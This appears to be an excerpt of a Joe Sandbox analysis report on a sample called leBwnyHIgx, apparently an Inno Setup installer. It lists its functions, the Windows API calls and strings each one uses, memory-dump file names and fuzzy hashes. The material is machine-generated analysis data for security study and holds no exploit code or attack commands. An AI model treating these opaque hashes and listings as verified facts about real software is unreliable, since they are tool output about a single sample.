Opcode Fuzzy Hash: 66a180434acd903a05dc67d5e34fa237f32a14c00a9ee3962d59800cd762fd6b
Instruction Fuzzy Hash: 77B09B7670C2145EAF05DBA5791155C67D4D7C87107E1446BF114C3540D97C54148528

Function 10005740 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,00000080,?,1000B3D6,?,00000000), ref: 10005751

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 123067e2a9cf58ddff2a572c946f291cd475b681d30bc16dccd5dbc98fb432a1
Instruction ID: ee6079dce25d93f15e917eacbc87c037c8b3b96b664cac2b0563e90788469a29
Opcode Fuzzy Hash: 123067e2a9cf58ddff2a572c946f291cd475b681d30bc16dccd5dbc98fb432a1
Instruction Fuzzy Hash: BEB09B3454030C67D5446B51DC59E15771CF7456D1F004450F94D57151CF75FA4447D8

Function 10004A70 Relevance: 1.5, APIs: 1, Instructions: 9COMMONLIBRARYCODE

Download Yara Rule

APIs

allocator.LIBCONCRTD ref: 10004A7C

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: 817b939fb322faf8aa4a8908d91c84128208cf71eecda2aa4e4aa1b252350f97
Instruction ID: 49106881f87acc91c15ffb423cd80b113fa76448b9a27e8f77458942fb597c13
Opcode Fuzzy Hash: 817b939fb322faf8aa4a8908d91c84128208cf71eecda2aa4e4aa1b252350f97
Instruction Fuzzy Hash: 7EC0927425820CAB8B08DF88E891C6973ADEB89650B008169BC0E8B352CE30BD40CA9D

Function 0040E56C Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 0040E570

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 899fa9c962831e78d20aa585cacba709b3b6a16b28d6df11c32fd39be051b51c
Instruction ID: 47ab257af6e364695ea890f9b43c82e37ccfc4e8ddd737aab863078b62403aa0
Opcode Fuzzy Hash: 899fa9c962831e78d20aa585cacba709b3b6a16b28d6df11c32fd39be051b51c
Instruction Fuzzy Hash: 0DA012108084001AC404BB194C4340F39C45941514FC40264745CB56C2E61A866403DB

Function 0272F63D Relevance: 1.5, APIs: 1, Instructions: 3networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 0272F63D

Memory Dump Source

Source File: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5630145063bab356e7fb3726eeaa839f6df9b7befddfe279059b26bdf28bc06
Instruction ID: 36c17b40a1917c3e0e977767f4fd81cea8de6f80ba72861d125d2528aaa677a0
Opcode Fuzzy Hash: f5630145063bab356e7fb3726eeaa839f6df9b7befddfe279059b26bdf28bc06
Instruction Fuzzy Hash: 8B9002286C4561AB52140921684865B26A455056513457814D403D0401D6208258A555

Function 00403C6C Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,-00000004,000000BF,00404283,0000001B,00404828,02683360,0040726E,0040760F,?,00000000,02683360,004072DD), ref: 00403C83

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d39b22df79555fe4438253863038b616525278bed3867586134d7713ba648576
Instruction ID: f9c7199d2a20b3d4535cb586bdcc75df61911083c239a6e183f6db4c37c8fba7
Opcode Fuzzy Hash: d39b22df79555fe4438253863038b616525278bed3867586134d7713ba648576
Instruction Fuzzy Hash: EBF0A9F2B003214FE714DFB89E41702BBEAE748355F11427EE989EB798D7B09901A784

Function 02715EB2 Relevance: 1.3, APIs: 1, Instructions: 15sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 02715EB2

Part of subcall function 02716F17: _malloc.LIBCMT ref: 02716F31

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: Sleep_malloc
String ID:
API String ID: 617756273-0
Opcode ID: b28fdf1a708a3e8e5ae28ab42cd171088da65a45203389186fda3c0a6aa4cd98
Instruction ID: 1ca814b2acf3c39bd239bc5342026ac889617992cae6f9d08fdb1acab8e56e73
Opcode Fuzzy Hash: b28fdf1a708a3e8e5ae28ab42cd171088da65a45203389186fda3c0a6aa4cd98
Instruction Fuzzy Hash: 48D012F2D04227DBE7B16DB448D813E61726B50244F958536D60BA6900D6754E5CC7D3

Non-executed Functions

Function 0063E56C Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 159windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32 ref: 0063E5C1
GetWindowLongW.USER32(?,000000F0), ref: 0063E5DE
GetWindowLongW.USER32(?,000000EC), ref: 0063E603

Part of subcall function 005963F8: IsWindow.USER32 ref: 00596406
Part of subcall function 005963F8: EnableWindow.USER32(?,000000FF,?,00000000,?,0063E71C,0063E737,0063E74D,?,?,000000EC,?,000000F0,?,00000000,?), ref: 00596415

GetActiveWindow.USER32(00000000,0063E74D,?,?,000000EC,?,000000F0,?,00000000,?,00000000), ref: 0063E6CF
SetActiveWindow.USER32(0065C5D1,0063E737,0063E74D,?,?,000000EC,?,000000F0,?,00000000,?,00000000), ref: 0063E720

Strings

qc, xrefs: 0063E621
D.S, xrefs: 0063E66B
Dc, xrefs: 0063E659
`, xrefs: 0063E597

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$ActiveLong$EnableIconic
String ID: D.S$Dc$`$qc
API String ID: 4222481217-1700508051
Opcode ID: 105bf1b043794c7febb61f28ddb640e4e5e1409b569c658a6f2acf29d1ee32be
Instruction ID: a68385297073a1787c46507cafb47a44eecf45f015a0fdb6403bc58eaa920278
Opcode Fuzzy Hash: 105bf1b043794c7febb61f28ddb640e4e5e1409b569c658a6f2acf29d1ee32be
Instruction Fuzzy Hash: 64518C74A00249AFDB00DFA9C885ADEBBF6FB09314F154169F804EB391D776A941CFA0

Function 0040C2A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 140stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,0041AD90,?,?), ref: 0040C2BD
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040C2CE
FindFirstFileW.KERNEL32(?,?,kernel32.dll,0041AD90,?,?), ref: 0040C3CE
FindClose.KERNEL32(?,?,?,kernel32.dll,0041AD90,?,?), ref: 0040C3E0
lstrlenW.KERNEL32(?,?,?,?,kernel32.dll,0041AD90,?,?), ref: 0040C3EC
lstrlenW.KERNEL32(?,?,?,?,?,kernel32.dll,0041AD90,?,?), ref: 0040C431

Strings

GetLongPathNameW, xrefs: 0040C2C8
kernel32.dll, xrefs: 0040C2B8
\, xrefs: 0040C3FE

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameW$\$kernel32.dll
API String ID: 1930782624-3908791685
Opcode ID: c34afadf3db2e7f96e5d8f57f2f71db68a35707ef3791a46efc30f5c96551beb
Instruction ID: 129811935084e97536274d2d3cc39016278ad45ca87abc2192b8d5c1b695ba56
Opcode Fuzzy Hash: c34afadf3db2e7f96e5d8f57f2f71db68a35707ef3791a46efc30f5c96551beb
Instruction Fuzzy Hash: 8841A471E00518DBCB10EBA4C8C5ADE73B5AF44310F5586BAD504F73C1E778AE458A8D

Function 005FA9A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 42shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 005FA9B8
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 005FA9BE
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 005FA9D7
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 005FA9FE
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 005FAA03
ExitWindowsEx.USER32(00000002,00000000), ref: 005FAA14

Strings

SeShutdownPrivilege, xrefs: 005FA9D0

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 85845749144dc9ce82d9e1a4bab315e58eda8b3d9d64f424d5201a4268532a52
Instruction ID: 775351c24a523f7ca86ab9856cb2a99195e947980098857579868bc878f92e5d
Opcode Fuzzy Hash: 85845749144dc9ce82d9e1a4bab315e58eda8b3d9d64f424d5201a4268532a52
Instruction Fuzzy Hash: D9F062B068430675E610E6718E07FBE2588AB40B48F900C1AF789E50D2E7ADD4588677

Function 00650754 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00650891,?,0066978C,?,?,00650A46,00000000,00650A9A,?,00000000,00000000,00000000), ref: 006507A5
SetFileAttributesW.KERNEL32(00000000,00000010), ref: 00650828
FindNextFileW.KERNEL32(000000FF,?,00000000,00650864,?,00000000,?,00000000,00650891,?,0066978C,?,?,00650A46,00000000,00650A9A), ref: 00650840
FindClose.KERNEL32(000000FF,0065086B,00650864,?,00000000,?,00000000,00650891,?,0066978C,?,?,00650A46,00000000,00650A9A), ref: 0065085E

Strings

isRS-???.tmp, xrefs: 0065078D
isRS-, xrefs: 006507C5

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: be8c0e228b3abfe7e50919e35dd7b0217464954728c07ec5518a4ebc0377dcf2
Instruction ID: 7e40c14d5cf5c67ddc04c5ae91bd146497d11b7686551e4e99c720dcad4bb53e
Opcode Fuzzy Hash: be8c0e228b3abfe7e50919e35dd7b0217464954728c07ec5518a4ebc0377dcf2
Instruction Fuzzy Hash: 4F319471A0061C9FEF10EB65CC45ADEB7F9EB88305F5145FAE804B3291EA389E84CE54

Function 005B261C Relevance: 9.1, APIs: 6, Instructions: 98windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32 ref: 005B2661
GetWindowLongW.USER32(?,000000F0), ref: 005B267E
GetWindowLongW.USER32(?,000000EC), ref: 005B26A3
GetActiveWindow.USER32(?,000000EC,?,000000F0,?,00000000,005B2742,?,?,00000000), ref: 005B26B1
MessageBoxW.USER32 ref: 005B26DE
SetActiveWindow.USER32(?,005B270C,-0000002D,00000000,005B2705,?,?,000000EC,?,000000F0,?,00000000,005B2742,?,?,00000000), ref: 005B26FF

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$ActiveLong$IconicMessage
String ID:
API String ID: 1633107849-0
Opcode ID: 358b33491ddebdf2595299d0a193073ac980c33294565c75b2cc6163bf35f257
Instruction ID: 0959946ea7ea2d423f2b07d1ac2efebd9c7287cb6bf5dae26c143587a2194954
Opcode Fuzzy Hash: 358b33491ddebdf2595299d0a193073ac980c33294565c75b2cc6163bf35f257
Instruction Fuzzy Hash: 89318B34A04605AFDB00EFA9DD86EDE7BE9FB49350F5045A5F410E73A1DA78AD00DB24

Function 0061A76C Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 187pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0061A7D4
QueryPerformanceCounter.KERNEL32(?,00000000,0061AA67,?,?,?,00000000,?,0061B466,?,?,00000000), ref: 0061A7DD
GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 0061A7E7
GetCurrentProcessId.KERNEL32(?,?,00000000,0061AA67,?,?,?,00000000,?,0061B466,?,?,00000000), ref: 0061A7F0
CreateNamedPipeW.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 0061A866
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 0061A874
CreateFileW.KERNEL32(00000000,C0000000,00000000,00661F70,00000003,00000000,00000000,00000000,0061AA23,?,00000000,40080003,00000006,00000001,00002000,00002000), ref: 0061A8BC
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,0061AA12,?,00000000,C0000000,00000000,00661F70,00000003,00000000,00000000,00000000,0061AA23), ref: 0061A8F5

Part of subcall function 005B09C4: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005B09D7

CreateProcessW.KERNEL32 ref: 0061A99E
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,000000FF,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 0061A9D4
CloseHandle.KERNEL32(000000FF,0061AA19,?,00000000,00000000,000000FF,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 0061AA0C

Part of subcall function 005F84D8: GetLastError.KERNEL32(00000000,005F91EE,00000005,00000000,005F9216,?,?,0066978C,?,00000000,00000000,00000000,?,00650A7F,00000000,00650A9A), ref: 005F84DB

Strings

i, xrefs: 0061A951
64-bit helper EXE wasn't extracted, xrefs: 0061A7C8
helper %d 0x%x, xrefs: 0061A97D
Cannot utilize 64-bit features on this version of Windows, xrefs: 0061A7B5
SetNamedPipeHandleState, xrefs: 0061A8FE
CreateFile, xrefs: 0061A8CA
CreateNamedPipe, xrefs: 0061A884
Helper process PID: %u, xrefs: 0061A9F1
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 0061A83C
D, xrefs: 0061A917
Starting 64-bit helper process., xrefs: 0061A7A1
CreateProcess, xrefs: 0061A9A7

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
API String ID: 770386003-3271284199
Opcode ID: 8b417e6bfe7b416bc203fcebf180cb54b99f1040917cd1cd9b5e41bc12d13ce3
Instruction ID: 3503b57a197a75d7cee75c72a57885d42cb6c05f4df10585553db908d6458071
Opcode Fuzzy Hash: 8b417e6bfe7b416bc203fcebf180cb54b99f1040917cd1cd9b5e41bc12d13ce3
Instruction Fuzzy Hash: 94713270A003499FEB10DFA9CC45BEEBBF5AB05704F1445A9F508EB392D7749980CB66

Function 005B1248 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 181memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B128A
GetVersion.KERNEL32(00000000,005B1433,?,00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B12A7
GetModuleHandleW.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,005B1433,?,00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B12C1
FreeSid.ADVAPI32(00000000,005B143A,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B142D

Strings

advapi32.dll, xrefs: 005B12BC
CheckTokenMembership, xrefs: 005B12B7

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
